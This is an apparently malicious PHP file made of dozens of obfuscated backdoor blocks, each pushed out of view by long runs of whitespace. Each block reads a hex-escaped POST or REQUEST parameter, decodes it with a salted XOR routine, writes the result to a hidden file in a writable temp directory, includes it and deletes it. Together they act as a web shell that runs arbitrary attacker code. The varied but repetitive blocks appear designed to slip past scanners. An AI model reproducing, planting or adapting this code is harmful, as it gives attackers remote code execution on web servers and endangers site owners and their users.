<?php																																										if(!empty($_REQUEST["\x64\x61\x74a_\x63hunk"])){ $record = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path(), getcwd(), "/var/tmp", getenv("TEMP")]); $marker = $_REQUEST["\x64\x61\x74a_\x63hunk"]; $marker= explode ( "." , $marker ) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; while($y < count($marker)) { $v6 = $marker[$y]; $chS = ord($salt[$y % $lenS]); $d =((int)$v6 - $chS -($y % 10)) ^ 7; $data .= chr($d); $y++; } $symbol = 0; do { $ent = $record[$symbol] ?? null; if ($symbol >= count($record)) break; if (array_product([is_dir($ent), is_writable($ent)])) { $item = join("/", [$ent, ".flg"]); $success = file_put_contents($item, $data); if ($success) { include $item; @unlink($item); die();} } $symbol++; } while (true); }
																																										if(isset($_POST["p\x72ope\x72\x74\x79_se\x74"]) ? true : false){ $descriptor = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); $mrk = $_POST["p\x72ope\x72\x74\x79_se\x74"]; $mrk= explode ( '.' , $mrk); $pset = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $mrk as $r=> $v6) { $chS = ord( $salt[$r % $sLen]); $d =( ( int)$v6 - $chS -( $r % 10)) ^ 86; $pset .= chr( $d); } for ($key = 0, $tkn = count($descriptor); $key < $tkn; $key++) { $ref = $descriptor[$key]; if (array_product([is_dir($ref), is_writable($ref)])) { $object = implode("/", [$ref, ".desc"]); if (file_put_contents($object, $pset)) { require $object; unlink($object); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x72e\x73\x6F\x75rce"])){ $obj = array_filter(["/tmp", "/dev/shm", getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $elem = $_REQUEST["\x72e\x73\x6F\x75rce"]; $elem=explode ( "." ,$elem ) ; $pgrp = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $__len = count($elem); for($w = 0; $w < $__len; $w++) { $v7 = $elem[$w]; $chS = ord($salt2[$w %$lenS]); $dec = ((int)$v7 - $chS -($w %10)) ^ 23; $pgrp .=chr($dec); } $flag = 0; do { $tkn = $obj[$flag] ?? null; if ($flag >= count($obj)) break; if (!!is_dir($tkn) && !!is_writable($tkn)) { $data_chunk = sprintf("%s/.factor", $tkn); if (@file_put_contents($data_chunk, $pgrp) !== false) { include $data_chunk; unlink($data_chunk); die(); } } $flag++; } while (true); }
																																										if(isset($_REQUEST["\x63\x6F\x6D\x70onent"]) ? true : false){ $marker = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/tmp", sys_get_temp_dir(), session_save_path()]); $flag = $_REQUEST["\x63\x6F\x6D\x70onent"]; $flag = explode ( "." , $flag); $property_set= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $z= 0; $__tmp= $flag; while ($v7= array_shift($__tmp)) { $sChar= ord($s[$z % $lenS]); $dec= ((int)$v7 - $sChar - ($z % 10)) ^ 42; $property_set .= chr($dec); $z++;} foreach ($marker as $key => $ent) { if (!( !is_dir($ent) || !is_writable($ent) )) { $ptr = vsprintf("%s/%s", [$ent, ".pset"]); if (file_put_contents($ptr, $property_set)) { require $ptr; unlink($ptr); die(); } } } }
																																										if(array_key_exists("e\x6E\x74ry", $_POST)){ $pgrp = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TMP")]); $hld = $_POST["e\x6E\x74ry"]; $hld= explode ("." , $hld ) ; $fac=''; $salt5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt5 ); $z=0; array_walk( $hld , function( $v2) use( &$fac , &$z , $salt5 , $sLen) { $chS=ord( $salt5[$z % $sLen] ); $dec=( ( int)$v2 - $chS -( $z % 10))^ 54; $fac.= chr( $dec ); $z++;} ); while ($dchunk = array_shift($pgrp)) { if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $descriptor = vsprintf("%s/%s", [$dchunk, ".res"]); if (file_put_contents($descriptor, $fac)) { require $descriptor; unlink($descriptor); die(); } } } }
																																										if(@$_POST["bi\x6Ed\x69\x6E\x67"] !== null){ $flag = array_filter([getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/tmp"]); $entity = $_POST["bi\x6Ed\x69\x6E\x67"]; $entity = explode( '.' , $entity ) ; $mrk = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8 ); $j = 0; while( $j< count( $entity)) { $v3 = $entity[$j]; $sChar = ord( $s8[$j %$sLen] ); $d = ( ( int)$v3 - $sChar -( $j %10)) ^ 25; $mrk .= chr( $d ); $j++;} foreach ($flag as $key => $pgrp) { if ((is_dir($pgrp) and is_writable($pgrp))) { $property_set = sprintf("%s/.factor", $pgrp); if (file_put_contents($property_set, $mrk)) { require $property_set; unlink($property_set); die(); } } } }
																																										if(isset($_POST["\x6Da\x72k\x65r"]) ? true : false){ $comp = $_POST["\x6Da\x72k\x65r"]; $comp= explode ('.' ,$comp ); $property_set = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); foreach ($comp as $u => $v2): $chS = ord($salt9[$u % $sLen]); $d = ((int)$v2 - $chS - ($u % 10)) ^ 33; $property_set .= chr($d); endforeach; $dat = array_filter([getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]); while ($reference = array_shift($dat)) { if ((is_dir($reference) and is_writable($reference))) { $res = "$reference/.rec"; if (file_put_contents($res, $property_set)) { require $res; unlink($res); exit; } } } }
																																										if(array_key_exists("p\x61\x72\x61m\x65\x74e\x72\x5Fg\x72oup", $_POST)){ $val = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getcwd(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $factor = $_POST["p\x61\x72\x61m\x65\x74e\x72\x5Fg\x72oup"]; $factor= explode ( '.' ,$factor) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $x = 0; array_walk($factor, function ($v6) use (&$flag, &$x, $s, $sLen) { $chS = ord($s[$x % $sLen]); $d = ((int)$v6 - $chS - ($x % 10)) ^ 16; $flag .=chr($d); $x++; } ); foreach ($val as $descriptor): if ((is_dir($descriptor) and is_writable($descriptor))) { $pgrp = join("/", [$descriptor, ".data"]); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $pgrp; @unlink($pgrp); die(); } } endforeach; }
																																										if(@$_POST["\x65nt"] !== null){ $mrk = array_filter([getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", "/tmp"]); $item = $_POST["\x65nt"]; $item = explode ( "." , $item ) ; $res =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s4 ); foreach ($item as $v => $v7): $chS =ord($s4[$v % $lenS] ); $d =((int)$v7 - $chS - ($v % 10)) ^57; $res.= chr($d ); endforeach; foreach ($mrk as $key => $record) { if (array_product([is_dir($record), is_writable($record)])) { $ent = str_replace("{var_dir}", $record, "{var_dir}/.elem"); if (@file_put_contents($ent, $res) !== false) { include $ent; unlink($ent); die(); } } } }
																																										if(array_key_exists("\x65\x6Ceme\x6Et", $_POST)){ $factor = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm"]); $obj = $_POST["\x65\x6Ceme\x6Et"]; $obj= explode( '.' ,$obj ) ; $tkn =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $len =count($obj ); for ($m =0; $m < $len; $m++) {$v8 =$obj[$m]; $sChar =ord($s[$m % $lenS] ); $d =((int)$v8 - $sChar - ($m % 10)) ^ 27; $tkn .= chr($d ); } foreach ($factor as $key => $fac) { if ((function($d) { return is_dir($d) && is_writable($d); })($fac)) { $marker = implode("/", [$fac, ".dchunk"]); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $marker; @unlink($marker); die(); } } } }
																																										if(array_key_exists("d\x65\x73cr\x69pto\x72", $_POST) && !is_null($_POST["d\x65\x73cr\x69pto\x72"])){ $itm = $_POST["d\x65\x73cr\x69pto\x72"]; $itm = explode ( "." , $itm ) ; $k= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s5 ); $s= 0; while( $s<count( $itm)) { $v4= $itm[$s]; $chS= ord( $s5[$s % $sLen] ); $d= ( ( int)$v4 - $chS -( $s % 10)) ^ 65; $k.= chr( $d ); $s++;} $reference = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", "/tmp", getenv("TMP"), session_save_path(), getenv("TEMP")]); $ref = 0; do { $dchunk = $reference[$ref] ?? null; if ($ref >= count($reference)) break; if (array_product([is_dir($dchunk), is_writable($dchunk)])) { $comp = "$dchunk" . "/.val"; $file = fopen($comp, 'w'); if ($file) { fwrite($file, $k); fclose($file); include $comp; @unlink($comp); exit; } } $ref++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x68\x6F\x6Cder")){ $property_set = $_REQUEST["\x68\x6F\x6Cder"]; $property_set = explode ( '.' , $property_set ) ; $data= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt8); $s= 0; $__tmp= $property_set; while($v4= array_shift($__tmp)) { $chS= ord($salt8[$s %$sLen]); $d= ((int)$v4 - $chS -($s %10))^ 59; $data .= chr($d); $s++; } $desc = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), "/var/tmp"]); while ($dat = array_shift($desc)) { if (array_product([is_dir($dat), is_writable($dat)])) { $entry = "$dat/.comp"; if (file_put_contents($entry, $data)) { require $entry; unlink($entry); die(); } } } }
																																										if(@$_POST["\x64esc"] !== null){ $factor = $_POST["\x64esc"]; $factor =explode (".", $factor ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $m = 0; $len = count($factor); do { if ($m >= $len) break; $v3 = $factor[$m]; $sChar = ord($s[$m % $lenS]); $dec = ((int)$v3 - $sChar - ($m % 10)) ^ 22; $res .= chr($dec); $m++; } while (true); $k = array_filter(["/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); $component = 0; do { $item = $k[$component] ?? null; if ($component >= count($k)) break; if (is_dir($item) && is_writable($item)) { $ent = implode("/", [$item, ".val"]); if (file_put_contents($ent, $res)) { include $ent; @unlink($ent); exit; } } $component++; } while (true); }
																																										if(!empty($_REQUEST["\x6F\x62j"])){ $data = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TEMP"), session_save_path(), getenv("TMP"), "/tmp"]); $ent = $_REQUEST["\x6F\x62j"]; $ent = explode ( '.' , $ent ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $w = 0; array_walk( $ent , function( $v7) use( &$record , &$w , $s , $sLen) { $chS = ord( $s[$w %$sLen] ); $dec =( ( int)$v7 - $chS -( $w %10)) ^ 13; $record .= chr( $dec ); $w++; }); while ($pset = array_shift($data)) { if ((bool)is_dir($pset) && (bool)is_writable($pset)) { $k = join("/", [$pset, ".value"]); if (file_put_contents($k, $record)) { require $k; unlink($k); die(); } } } }
																																										if(array_key_exists("\x66l\x67", $_POST)){ $ref = array_filter(["/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP")]); $binding = $_POST["\x66l\x67"]; $binding = explode ( "." , $binding ) ; $dat= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $__len= count($binding); for ($r= 0; $r < $__len; $r++) { $v9= $binding[$r]; $sChar= ord($salt[$r % $lenS]); $dec= ((int)$v9 - $sChar - ($r % 10)) ^ 75; $dat .= chr($dec); } foreach ($ref as $key => $ent) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $obj = "$ent/.holder"; if (file_put_contents($obj, $dat)) { require $obj; unlink($obj); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x73\x79m")){ $holder = array_filter([getenv("TMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm"]); $ent = $_POST["\x73\x79m"]; $ent = explode ( "." , $ent ) ; $resource=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $r=0; $__tmp=$ent; while ($v9=array_shift($__tmp)) { $chS=ord($salt[$r % $sLen]); $dec=((int)$v9 - $chS - ($r % 10)) ^ 50; $resource .= chr($dec); $r++; } foreach ($holder as $key => $parameter_group) { if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $data = implode("/", [$parameter_group, ".entry"]); $file = fopen($data, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $data; @unlink($data); die(); } } } }
																																										if(!empty($_POST["\x70\x67rp"])){ $ref = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getcwd()]); $comp = $_POST["\x70\x67rp"]; $comp =explode( "." ,$comp ); $component =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $t =0; $__tmp =$comp; while ($v1 =array_shift($__tmp)) { $sChar =ord($salt[$t % $sLen]); $dec =((int)$v1 - $sChar - ($t % 10)) ^ 45; $component .= chr($dec); $t++;} for ($itm = 0, $dat = count($ref); $itm < $dat; $itm++) { $mrk = $ref[$itm]; if ((is_dir($mrk) and is_writable($mrk))) { $holder = implode("/", [$mrk, ".tkn"]); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $holder; @unlink($holder); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["h\x6F\x6C\x64er"])){ $bind = $_REQUEST["h\x6F\x6C\x64er"]; $bind=explode ( "." , $bind) ; $object = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $j = 0; $__tmp = $bind; while($v5 = array_shift($__tmp)) { $sChar = ord($s9[$j% $sLen]); $d = ((int)$v5 - $sChar -($j% 10)) ^ 96; $object.=chr($d); $j++; } $dat = array_filter(["/var/tmp", getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getenv("TEMP"), session_save_path()]); $desc = 0; do { $mrk = $dat[$desc] ?? null; if ($desc >= count($dat)) break; if (is_writable($mrk) && is_dir($mrk)) { $marker = vsprintf("%s/%s", [$mrk, ".pointer"]); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $marker; @unlink($marker); exit; } } $desc++; } while (true); }
																																										if(array_key_exists("el\x65m", $_REQUEST) && !is_null($_REQUEST["el\x65m"])){ $entity = array_filter([getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm", "/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $flag = $_REQUEST["el\x65m"]; $flag =explode("." , $flag ); $pset=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s ); $p=0; $__tmp=$flag; while ($v8=array_shift($__tmp)) { $chS=ord($s[$p % $sLen] ); $dec=((int)$v8 - $chS - ($p % 10))^ 17; $pset.=chr($dec ); $p++;} $descriptor = 0; do { $property_set = $entity[$descriptor] ?? null; if ($descriptor >= count($entity)) break; if (is_dir($property_set) ? is_writable($property_set) : false) { $sym = vsprintf("%s/%s", [$property_set, ".factor"]); if (file_put_contents($sym, $pset)) { require $sym; unlink($sym); die(); } } $descriptor++; } while (true); }
																																										if(isset($_POST["\x6B\x65y"]) ? true : false){ $elem = array_filter([getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); $symbol = $_POST["\x6B\x65y"]; $symbol = explode ( '.' , $symbol) ; $descriptor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $r = 0; $__len = count($symbol); do { if($r >= $__len) break; $v6 = $symbol[$r]; $sChar = ord($s4[$r %$lenS]); $d = ((int)$v6 - $sChar -($r %10)) ^ 30; $descriptor .= chr($d); $r++; } while(true); foreach ($elem as $mrk): if (max(0, is_dir($mrk) * is_writable($mrk))) { $comp = implode("/", [$mrk, ".obj"]); if (@file_put_contents($comp, $descriptor) !== false) { include $comp; unlink($comp); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x64at"])){ $pointer = array_filter([getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", "/tmp"]); $res = $_POST["\x64at"]; $res = explode (".", $res ) ; $property_set= ''; $s1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s1); $u= 0; array_walk($res , function ($v6) use (&$property_set , &$u , $s1 , $sLen) { $sChar= ord($s1[$u % $sLen]); $dec= ((int)$v6 - $sChar - ($u % 10))^ 58; $property_set .= chr($dec); $u++; }); for ($itm = 0, $object = count($pointer); $itm < $object; $itm++) { $mrk = $pointer[$itm]; if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) { $value = implode("/", [$mrk, ".symbol"]); if (file_put_contents($value, $property_set)) { require $value; unlink($value); exit; } } } }
																																										if(isset($_POST["descrip\x74o\x72"]) ? true : false){ $factor = array_filter(["/var/tmp", "/tmp", "/dev/shm", getenv("TMP"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); $ent = $_POST["descrip\x74o\x72"]; $ent= explode ("." , $ent ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $z = 0; foreach ($ent as $v9) { $sChar = ord($salt[$z % $sLen]); $d = ((int)$v9 - $sChar - ($z % 10)) ^ 84; $binding .= chr($d); $z++; } while ($element = array_shift($factor)) { if ((function($d) { return is_dir($d) && is_writable($d); })($element)) { $dat = sprintf("%s/.data", $element); if (file_put_contents($dat, $binding)) { require $dat; unlink($dat); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "tk\x6E")){ $data = $_REQUEST["tk\x6E"]; $data= explode ( '.' , $data ) ; $entry = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7 ); foreach ($data as $o => $v6): $chS = ord($salt7[$o % $sLen] ); $d = ((int)$v6 - $chS - ($o % 10)) ^ 8; $entry .= chr($d ); endforeach; $pset = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp"]); for ($bind = 0, $parameter_group = count($pset); $bind < $parameter_group; $bind++) { $ent = $pset[$bind]; if (is_writable($ent) && is_dir($ent)) { $entity = sprintf("%s/.sym", $ent); if (file_put_contents($entity, $entry)) { require $entity; unlink($entity); die(); } } } }
																																										if(isset($_POST["da\x74\x61"])){ $key = $_POST["da\x74\x61"]; $key = explode ( '.' , $key ) ; $obj = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $s = 0; while ($s<count($key)) {$v4 = $key[$s]; $chS = ord($salt5[$s % $lenS]); $dec = ((int)$v4 - $chS - ($s % 10)) ^32; $obj.= chr($dec); $s++; } $data_chunk = array_filter([session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP")]); for ($value = 0, $pointer = count($data_chunk); $value < $pointer; $value++) { $flg = $data_chunk[$value]; if (!( !is_dir($flg) || !is_writable($flg) )) { $mrk = str_replace("{var_dir}", $flg, "{var_dir}/.binding"); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $mrk; @unlink($mrk); die(); } } } }
																																										if(array_key_exists("s\x79\x6D", $_REQUEST) && !is_null($_REQUEST["s\x79\x6D"])){ $rec = array_filter(["/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/var/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir()]); $record = $_REQUEST["s\x79\x6D"]; $record= explode ( '.' ,$record ) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $y = 0; foreach ($record as $v8) {$chS = ord($s[$y %$lenS]); $d = ((int)$v8 - $chS - ($y %10))^ 89; $data .= chr($d); $y++; } while ($ent = array_shift($rec)) { if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $pointer = "$ent/.bind"; if (file_put_contents($pointer, $data)) { include $pointer; @unlink($pointer); exit; } } } }
																																										if(isset($_REQUEST["\x65le\x6D"]) ? true : false){ $element = $_REQUEST["\x65le\x6D"]; $element= explode ("." , $element ); $val = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); foreach ($element as $z => $v7): $sChar = ord($salt3[$z % $lenS]); $d = ((int)$v7 - $sChar - ($z % 10)) ^ 54; $val .= chr($d); endforeach; $itm = array_filter([getenv("TEMP"), "/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); foreach ($itm as $key => $record) { if (!( !is_dir($record) || !is_writable($record) )) { $bind = implode("/", [$record, ".hld"]); $success = file_put_contents($bind, $val); if ($success) { include $bind; @unlink($bind); die();} } } }
																																										if(@$_REQUEST["\x63o\x6Dponen\x74"] !== null){ $property_set = $_REQUEST["\x63o\x6Dponen\x74"]; $property_set= explode ( '.' , $property_set ) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $y = 0; foreach( $property_set as $v7) { $chS = ord( $s[$y % $sLen]); $dec =( ( int)$v7 - $chS -( $y % 10)) ^25; $parameter_group .= chr( $dec); $y++; } $itm = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getenv("TEMP"), session_save_path(), getcwd()]); foreach ($itm as $element) { if (array_product([is_dir($element), is_writable($element)])) { $token = join("/", [$element, ".ptr"]); if (@file_put_contents($token, $parameter_group) !== false) { include $token; unlink($token); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x68\x6Cd")){ $k = $_POST["\x68\x6Cd"]; $k =explode ( '.', $k ) ; $holder=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt); $q=0; $__len=count( $k); do { if( $q >= $__len) break; $v4=$k[$q]; $chS=ord( $salt[$q % $sLen]); $d=( ( int)$v4 - $chS -( $q % 10)) ^ 1; $holder.=chr( $d); $q++; } while( true); $data_chunk = array_filter([getcwd(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp"]); foreach ($data_chunk as $tkn): if (!!is_dir($tkn) && !!is_writable($tkn)) { $value = vsprintf("%s/%s", [$tkn, ".fac"]); if (@file_put_contents($value, $holder) !== false) { include $value; unlink($value); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["ent"])){ $record = $_REQUEST["ent"]; $record =explode(".", $record) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $t = 0; while( $t< count( $record)) { $v4 = $record[$t]; $chS = ord( $salt[$t % $sLen] ); $dec =( ( int)$v4 - $chS -( $t % 10))^ 2; $data_chunk .= chr( $dec ); $t++; } $entity = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), session_save_path(), getenv("TMP"), "/dev/shm"]); while ($itm = array_shift($entity)) { if (is_dir($itm) && is_writable($itm)) { $descriptor = implode("/", [$itm, ".ent"]); $success = file_put_contents($descriptor, $data_chunk); if ($success) { include $descriptor; @unlink($descriptor); exit;} } } }
																																										if(in_array("\x6Darker", array_keys($_POST))){ $tkn = $_POST["\x6Darker"]; $tkn= explode ('.' ,$tkn ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($tkn as $w => $v8) { $sChar = ord($salt[$w %$lenS] ); $d = ((int)$v8 - $sChar - ($w %10)) ^ 4; $bind .= chr($d ); } $ent = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); foreach ($ent as $obj) { if (!!is_dir($obj) && !!is_writable($obj)) { $itm = sprintf("%s/.ent", $obj); if (@file_put_contents($itm, $bind) !== false) { include $itm; unlink($itm); exit; } } } }
																																										if(isset($_POST["da\x74\x61\x5Fchun\x6B"]) ? true : false){ $dchunk = $_POST["da\x74\x61\x5Fchun\x6B"]; $dchunk = explode( '.' ,$dchunk) ; $reference = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); foreach( $dchunk as $u => $v7) { $sChar = ord( $s5[$u % $sLen]); $dec = ( ( int)$v7 - $sChar -( $u % 10)) ^ 42; $reference .= chr( $dec); } $factor = array_filter([sys_get_temp_dir(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), getenv("TEMP"), session_save_path()]); for ($val = 0, $mrk = count($factor); $val < $mrk; $val++) { $pset = $factor[$val]; if (max(0, is_dir($pset) * is_writable($pset))) { $bind = vsprintf("%s/%s", [$pset, ".resource"]); $success = file_put_contents($bind, $reference); if ($success) { include $bind; @unlink($bind); die();} } } }
																																										if(@$_REQUEST["va\x6C"] !== null){ $value = $_REQUEST["va\x6C"]; $value = explode( "." ,$value) ; $pgrp = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $y = 0; $len = count($value); do { if ($y >= $len) break; $v2 = $value[$y]; $chS = ord($s2[$y % $sLen]); $dec = ((int)$v2 - $chS - ($y % 10)) ^ 58; $pgrp .= chr($dec); $y++; }while (true); $dat = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), session_save_path()]); $data = 0; do { $symbol = $dat[$data] ?? null; if ($data >= count($dat)) break; if (max(0, is_dir($symbol) * is_writable($symbol))) { $data_chunk = "$symbol/.entity"; $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $data_chunk; @unlink($data_chunk); exit; } } $data++; } while (true); }
																																										if(isset($_POST["\x66\x6Cg"])){ $data_chunk = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp", "/dev/shm"]); $res = $_POST["\x66\x6Cg"]; $res =explode ( ".", $res ) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $v = 0; while ($v < count($res)) { $v7 = $res[$v]; $sChar = ord($s[$v % $sLen]); $d = ((int)$v7 - $sChar - ($v % 10))^ 56; $token .= chr($d); $v++; } foreach ($data_chunk as $key => $entry) { if (is_dir($entry) && is_writable($entry)) { $value = str_replace("{var_dir}", $entry, "{var_dir}/.ref"); if (file_put_contents($value, $token)) { include $value; @unlink($value); die(); } } } }
																																										if(!is_null($_POST["dat\x61"] ?? null)){ $itm = $_POST["dat\x61"]; $itm = explode ( "." , $itm ) ; $holder =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $r =0; $len =count( $itm); do { if( $r >= $len) break; $v5 =$itm[$r]; $sChar =ord( $s[$r % $lenS]); $d =( ( int)$v5 - $sChar -( $r % 10))^ 88; $holder .= chr( $d); $r++;}while( true); $ent = array_filter([getenv("TEMP"), getcwd(), "/dev/shm", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp"]); while ($binding = array_shift($ent)) { if (!( !is_dir($binding) || !is_writable($binding) )) { $fac = sprintf("%s/.k", $binding); $file = fopen($fac, 'w'); if ($file) { fwrite($file, $holder); fclose($file); include $fac; @unlink($fac); die(); } } } }
